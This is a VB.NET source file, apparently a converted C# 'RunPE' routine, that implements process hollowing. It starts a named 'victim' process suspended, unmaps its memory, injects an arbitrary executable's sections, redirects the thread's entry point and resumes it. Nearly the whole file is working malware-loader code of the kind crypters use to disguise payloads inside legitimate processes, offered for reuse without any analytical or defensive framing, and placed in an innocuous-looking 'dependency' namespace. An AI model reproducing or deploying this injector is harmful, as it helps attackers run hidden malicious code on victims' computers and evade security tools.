RunPE (C# to VB.NET)

Imports Microsoft.VisualBasic
Imports System.Runtime.InteropServices
Imports System.Text
Imports System

Namespace dependency
    Friend Class AB
        <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Public Structure STARTUPINFO
            Public cb As Integer
            Public lpReserved As String
            Public lpDesktop As String
            Public lpTitle As String
            Public dwX As Integer
            Public dwY As Integer
            Public dwXSize As Integer
            Public dwYSize As Integer
            Public dwXCountChars As Integer
            Public dwYCountChars As Integer
            Public dwFillAttribute As Integer
            Public dwFlags As Integer
            Public wShowWindow As Short
            Public cbReserved2 As Short
            Public lpReserved2 As Integer
            Public hStdInput As Integer
            Public hStdOutput As Integer
            Public hStdError As Integer
        End Structure
        Private Structure PROCESS_INFORMATION
            Public hProcess As IntPtr
            Public hThread As IntPtr
            Public dwProcessId As Integer
            Public dwThreadId As Integer
        End Structure
        <DllImport("kernel32.dll")> Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger
        End Function
        <DllImport("kernel32.dll")> Private Shared Function GetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
        End Function
        <DllImport("kernel32.dll")> Private Shared Function SetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
        End Function
        <DllImport("kernel32.dll")> Private Shared Function LoadLibraryA(ByVal lpLibFileName As String) As Integer
        End Function
        <DllImport("kernel32.dll")> Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean
        End Function
        <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Auto, EntryPoint:="WriteProcessMemory", CallingConvention:=CallingConvention.StdCall)> Public Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer() As Byte, ByVal iSize As Int64, ByRef lpNumberOfBytesWritten As Int64) As Boolean
        End Function
        <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Auto, EntryPoint:="WriteProcessMemory", CallingConvention:=CallingConvention.StdCall)> Public Shared Function WriteProcessMemoryI(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal iSize As Int64, ByRef lpNumberOfBytesWritten As Int64) As Boolean
        End Function
        <DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory")> Public Shared Function ReadProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As Integer, ByRef lpbuffer As IntPtr, ByVal size As Integer, ByRef lpNumberOfBytesRead As Integer) As Int64
        End Function
        <DllImport("ntdll.dll")> Public Shared Function ZwUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal BaseAddress As IntPtr) As Long
        End Function
        <DllImport("kernel32.dll", SetLastError:=True, ExactSpelling:=True)> Public Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
        End Function
        <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> Public Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UIntPtr, <Out()> ByVal lpflOldProtect As UInteger) As Integer
        End Function
        <StructLayout(LayoutKind.Sequential)> Private Structure IMAGE_DOS_HEADER
            Public e_magic As System.UInt16
            Public e_cblp As System.UInt16
            Public e_cp As System.UInt16
            Public e_crlc As System.UInt16
            Public e_cparhdr As System.UInt16
            Public e_minalloc As System.UInt16
            Public e_maxalloc As System.UInt16
            Public e_ss As System.UInt16
            Public e_sp As System.UInt16
            Public e_csum As System.UInt16
            Public e_ip As System.UInt16
            Public e_cs As System.UInt16
            Public e_lfarlc As System.UInt16
            Public e_ovno As System.UInt16
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Public e_res1() As System.UInt16
            Public e_oemid As System.UInt16
            Public e_oeminfo As System.UInt16
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Public e_res2() As System.UInt16
            Public e_lfanew As Integer
        End Structure
        <StructLayout(LayoutKind.Sequential)> Public Structure IMAGE_OPTIONAL_HEADER32
            Public Magic As System.UInt16
            Public MajorLinkerVersion As Byte
            Public MinorLinkerVersion As Byte
            Public SizeOfCode As UInteger
            Public SizeOfInitializedData As UInteger
            Public SizeOfUninitializedData As UInteger
            Public AddressOfEntryPoint As UInteger
            Public BaseOfCode As UInteger
            Public BaseOfData As UInteger
            Public ImageBase As UInteger
            Public SectionAlignment As UInteger
            Public FileAlignment As UInteger
            Public MajorOperatingSystemVersion As System.UInt16
            Public MinorOperatingSystemVersion As System.UInt16
            Public MajorImageVersion As System.UInt16
            Public MinorImageVersion As System.UInt16
            Public MajorSubsystemVersion As System.UInt16
            Public MinorSubsystemVersion As System.UInt16
            Public Win32VersionValue As UInteger
            Public SizeOfImage As UInteger
            Public SizeOfHeaders As UInteger
            Public CheckSum As UInteger
            Public Subsystem As System.UInt16
            Public DllCharacteristics As System.UInt16
            Public SizeOfStackReserve As UInteger
            Public SizeOfStackCommit As UInteger
            Public SizeOfHeapReserve As UInteger
            Public SizeOfHeapCommit As UInteger
            Public LoaderFlags As UInteger
            Public NumberOfRvaAndSizes As UInteger
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory() As IMAGE_DATA_DIRECTORY
        End Structure
        <StructLayout(LayoutKind.Sequential)> Public Structure IMAGE_FILE_HEADER
            Public Machine As System.UInt16
            Public NumberOfSections As System.UInt16
            Public TimeDateStamp As UInteger
            Public PointerToSymbolTable As UInteger
            Public NumberOfSymbols As UInteger
            Public SizeOfOptionalHeader As System.UInt16
            Public Characteristics As System.UInt16
        End Structure
        <StructLayout(LayoutKind.Sequential)> Public Structure IMAGE_DATA_DIRECTORY
            Public VirtualAddress As UInteger
            Public Size As UInteger
        End Structure
        Public Structure IMAGE_NT_HEADERS
            Public Signature As UInteger
            Public FileHeader As IMAGE_FILE_HEADER
            Public OptionalHeader As IMAGE_OPTIONAL_HEADER32
        End Structure
        Public Structure IMAGE_SECTION_HEADER
            Public Name As System.Byte
            Public Misc As Misc
            Public VirtualAddress As UInteger
            Public SizeOfRawData As UInteger
            Public PointerToRawData As UInteger
            Public PointerToRelocations As UInteger
            Public PointerToLinenumbers As UInteger
            Public NumberOfRelocations As System.UInt16
            Public NumberOfLinenumbers As System.UInt16
            Public Characteristics As UInteger
        End Structure
        <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Private Structure VS_VERSIONINFO
            Public wLength As System.UInt16
            Public wValueLength As System.UInt16
            Public wType As System.UInt16
            <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=15)> Public szKey As String
            Public Padding1 As System.UInt16
        End Structure
        <StructLayout(LayoutKind.Sequential)> Public Structure SECURITY_ATTRIBUTES
            Public nLength As Integer
            Public lpSecurityDescriptor As IntPtr
            Public bInheritHandle As Integer
        End Structure
        <StructLayout(LayoutKind.Sequential)> Private Structure VS_FIXEDFILEINFO
            Public dwSignature As UInteger
            Public dwStrucVersion As UInteger
            Public dwFileVersionMS As UInteger
            Public dwFileVersionLS As UInteger
            Public dwProductVersionMS As UInteger
            Public dwProductVersionLS As UInteger
            Public dwFileFlagsMask As UInteger
            Public dwFileFlags As UInteger
            Public dwFileOS As UInteger
            Public dwFileType As UInteger
            Public dwFileSubtype As UInteger
            Public dwFileDateMS As UInteger
            Public dwFileDateLS As UInteger
        End Structure
        <StructLayout(LayoutKind.Sequential)> Public Structure FLOATING_SAVE_AREA
            Public ControlWord As UInteger
            Public StatusWord As UInteger
            Public TagWord As UInteger
            Public ErrorOffset As UInteger
            Public ErrorSelector As UInteger
            Public DataOffset As UInteger
            Public DataSelector As UInteger
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Public RegisterArea() As Byte
            Public Cr0NpxState As UInteger
        End Structure
        <StructLayout(LayoutKind.Sequential)> Public Structure CONTEXT
            Public ContextFlags As UInteger
            Public Dr0 As UInteger
            Public Dr1 As UInteger
            Public Dr2 As UInteger
            Public Dr3 As UInteger
            Public Dr6 As UInteger
            Public Dr7 As UInteger
            Public FloatSave As FLOATING_SAVE_AREA
            Public SegGs As UInteger
            Public SegFs As UInteger
            Public SegEs As UInteger
            Public SegDs As UInteger
            Public Edi As UInteger
            Public Esi As UInteger
            Public Ebx As UInteger
            Public Edx As UInteger
            Public Ecx As UInteger
            Public Eax As UInteger
            Public Ebp As UInteger
            Public Eip As UInteger
            Public SegCs As UInteger
            Public EFlags As UInteger
            Public Esp As UInteger
            Public SegSs As UInteger
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Public ExtendedRegisters() As Byte
        End Structure
        Public Enum IMAGE_SIZEOF_SHORT_NAME
            IMAGE_SIZEOF_SHORT_NAME = 8
        End Enum
        Public Structure Misc
            Public PhysicalAddress As UInteger
            Public VirtualSize As UInteger
        End Structure
        Public Const CONTEXT_X86 As UInteger = &H10000
        Public Const CONTEXT86_CONTROL As UInteger = (CONTEXT_X86 Or &H1)
        Public Const CONTEXT86_INTEGER As UInteger = (CONTEXT_X86 Or &H2)
        Public Const CONTEXT86_SEGMENTS As UInteger = (CONTEXT_X86 Or &H4)
        Public Const CONTEXT86_FLOATING_POINT As UInteger = (CONTEXT_X86 Or &H8)
        Public Const CONTEXT86_DEBUG_REGISTERS As UInteger = (CONTEXT_X86 Or &H10)
        Public Const CONTEXT86_FULL As UInteger = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)
        Public Const CREATE_SUSPENDED As UInteger = &H4
        Public Const MEM_COMMIT As Long = &H1000L
        Public Const MEM_RESERVE As Long = &H2000L
        Public Const PAGE_NOCACHE As UInteger = &H200
        Public Const PAGE_EXECUTE_READWRITE As UInteger = &H40
        Public Const PAGE_EXECUTE_WRITECOPY As UInteger = &H80
        Public Const PAGE_EXECUTE_READ As UInteger = &H20
        Public Const PAGE_EXECUTE As UInteger = &H10
        Public Const PAGE_WRITECOPY As UInteger = &H8
        Public Const PAGE_NOACCESS As UInteger = &H1
        Public Const PAGE_READWRITE As UInteger = &H4
        Private Const GENERIC_READ As UInteger = &H80000000L
        Private Const FILE_SHARE_READ As UInteger = &H1
        Private Const OPEN_EXISTING As UInteger = 3
        Private Const FILE_ATTRIBUTE_NORMAL As UInteger = &H80
        Private Const INVALID_HANDLE_VALUE As Int64 = -1
        Private Const PAGE_READONLY As UInteger = &H2
        Private Const FILE_MAP_READ As UInteger = &H4
        Private Const IMAGE_DOS_SIGNATURE As UInteger = &H5A4D
        Private Const RT_VERSION As Int64 = 16
        Private Enum ImageSignatureTypes As UInteger
            IMAGE_DOS_SIGNATURE = &H5A4D
            IMAGE_OS2_SIGNATURE = &H454E
            IMAGE_OS2_SIGNATURE_LE = &H454C
            IMAGE_VXD_SIGNATURE = &H454C
            IMAGE_NT_SIGNATURE = &H4550
        End Enum
        Public Shared Sub SRexec(ByVal b() As Byte, ByVal sVictim As String)
            Dim sVersion As String = Nothing
            Dim pidh As IMAGE_DOS_HEADER = Nothing
            Dim context As New CONTEXT()
            Dim Pinh As IMAGE_NT_HEADERS = Nothing
            Dim Pish As IMAGE_SECTION_HEADER = Nothing
            Dim pi As New PROCESS_INFORMATION()
            Dim si As New STARTUPINFO()
            Dim pSec As New SECURITY_ATTRIBUTES()
            Dim tSec As New SECURITY_ATTRIBUTES()
            Dim MyGC As GCHandle = GCHandle.Alloc(b, GCHandleType.Pinned)
            Dim ptbuffer As Long = MyGC.AddrOfPinnedObject().ToInt64()
            pidh = CType(Marshal.PtrToStructure(MyGC.AddrOfPinnedObject(), pidh.GetType()), IMAGE_DOS_HEADER)
            MyGC.Free()
            If Not CreateProcess(Nothing, sVictim, pSec, tSec, False, &H4, New System.IntPtr(), Nothing, si, pi) Then
                Return
            End If
            Dim vt As Long = ptbuffer + pidh.e_lfanew
            Pinh = CType(Marshal.PtrToStructure(New IntPtr(vt), Pinh.GetType()), IMAGE_NT_HEADERS)
            Dim addr As New IntPtr()
            Dim lOffset As Long = 0
            Dim ret As Long = 0
            context.ContextFlags = CONTEXT86_INTEGER
            If Pinh.Signature <> CUInt(ImageSignatureTypes.IMAGE_NT_SIGNATURE) OrElse pidh.e_magic <> CUInt(ImageSignatureTypes.IMAGE_DOS_SIGNATURE) Then
                Return
            End If
            Dim lpNumberOfBytesRead As Integer = 0
            If GetThreadContext(pi.hThread, context) And ReadProcessMemory(pi.hProcess, CInt(Fix(context.Ebx)) + 8, addr, 4, lpNumberOfBytesRead) >= 0 And ZwUnmapViewOfSection(pi.hProcess, addr) >= 0 Then
                Dim ImageBase As Int64 = VirtualAllocEx(pi.hProcess, New IntPtr(Pinh.OptionalHeader.ImageBase), Pinh.OptionalHeader.SizeOfImage, CUInt(MEM_RESERVE Or MEM_COMMIT), CUInt(PAGE_READWRITE)).ToInt64()
                If ImageBase <> 0 Then
                    WriteProcessMemory(pi.hProcess, New IntPtr(ImageBase), b, CLng(Fix(Pinh.OptionalHeader.SizeOfHeaders)), ret)
                    lOffset = pidh.e_lfanew + 248
                    For i As Integer = 0 To Pinh.FileHeader.NumberOfSections - 1
                        Pish = CType(Marshal.PtrToStructure(New IntPtr(ptbuffer + lOffset + i * 40), Pish.GetType()), IMAGE_SECTION_HEADER)
                        Dim braw(Pish.SizeOfRawData) As Byte
                        For j As Integer = 0 To Pish.SizeOfRawData - 1
                            braw(j) = b(Pish.PointerToRawData + j)
                        Next j
                        WriteProcessMemory(pi.hProcess, New IntPtr(ImageBase + Pish.VirtualAddress), braw, CInt(Fix(Pish.SizeOfRawData)), ret)
                        VirtualProtectEx(pi.hProcess, New IntPtr(ImageBase + Pish.VirtualAddress), New UIntPtr(Pish.Misc.VirtualSize), New UIntPtr(CUInt(Protect(Pish.Characteristics))), CUInt(addr.ToInt64()))
                    Next i
                    Dim bb() As Byte = BitConverter.GetBytes(ImageBase)
                    WriteProcessMemory(pi.hProcess, New IntPtr(context.Ebx + 8), bb, 4, ret)
                    context.Eax = CUInt(ImageBase) + Pinh.OptionalHeader.AddressOfEntryPoint
                    SetThreadContext(pi.hThread, context)
                    ResumeThread(pi.hThread)
                End If
            End If
        End Sub
        Private Shared Function Protect(ByVal characteristics As Long) As Long
            Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
            Dim index As Long = RShift(characteristics, 29)
            Dim mappingS As String = mapping(index).ToString()
            Dim resultLong As Long = 0
            If Long.TryParse(mappingS, resultLong) Then
                Return resultLong
            End If
            Return 0
        End Function
        Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
            Dim result As Double = vbLongToULong(lValue) / (Math.Pow(2, lNumberOfBitsToShift))
            Return CLng(Fix(result))
        End Function
        Private Shared Function vbLongToULong(ByVal Value As Long) As Double
            Dim functionReturnValue As Double = 0
            Const OFFSET_4 As Double = 4294967296.0
            If Value < 0 Then
                functionReturnValue = Value + OFFSET_4
            Else
                functionReturnValue = Value
            End If
            Return functionReturnValue
        End Function
    End Class
End Namespace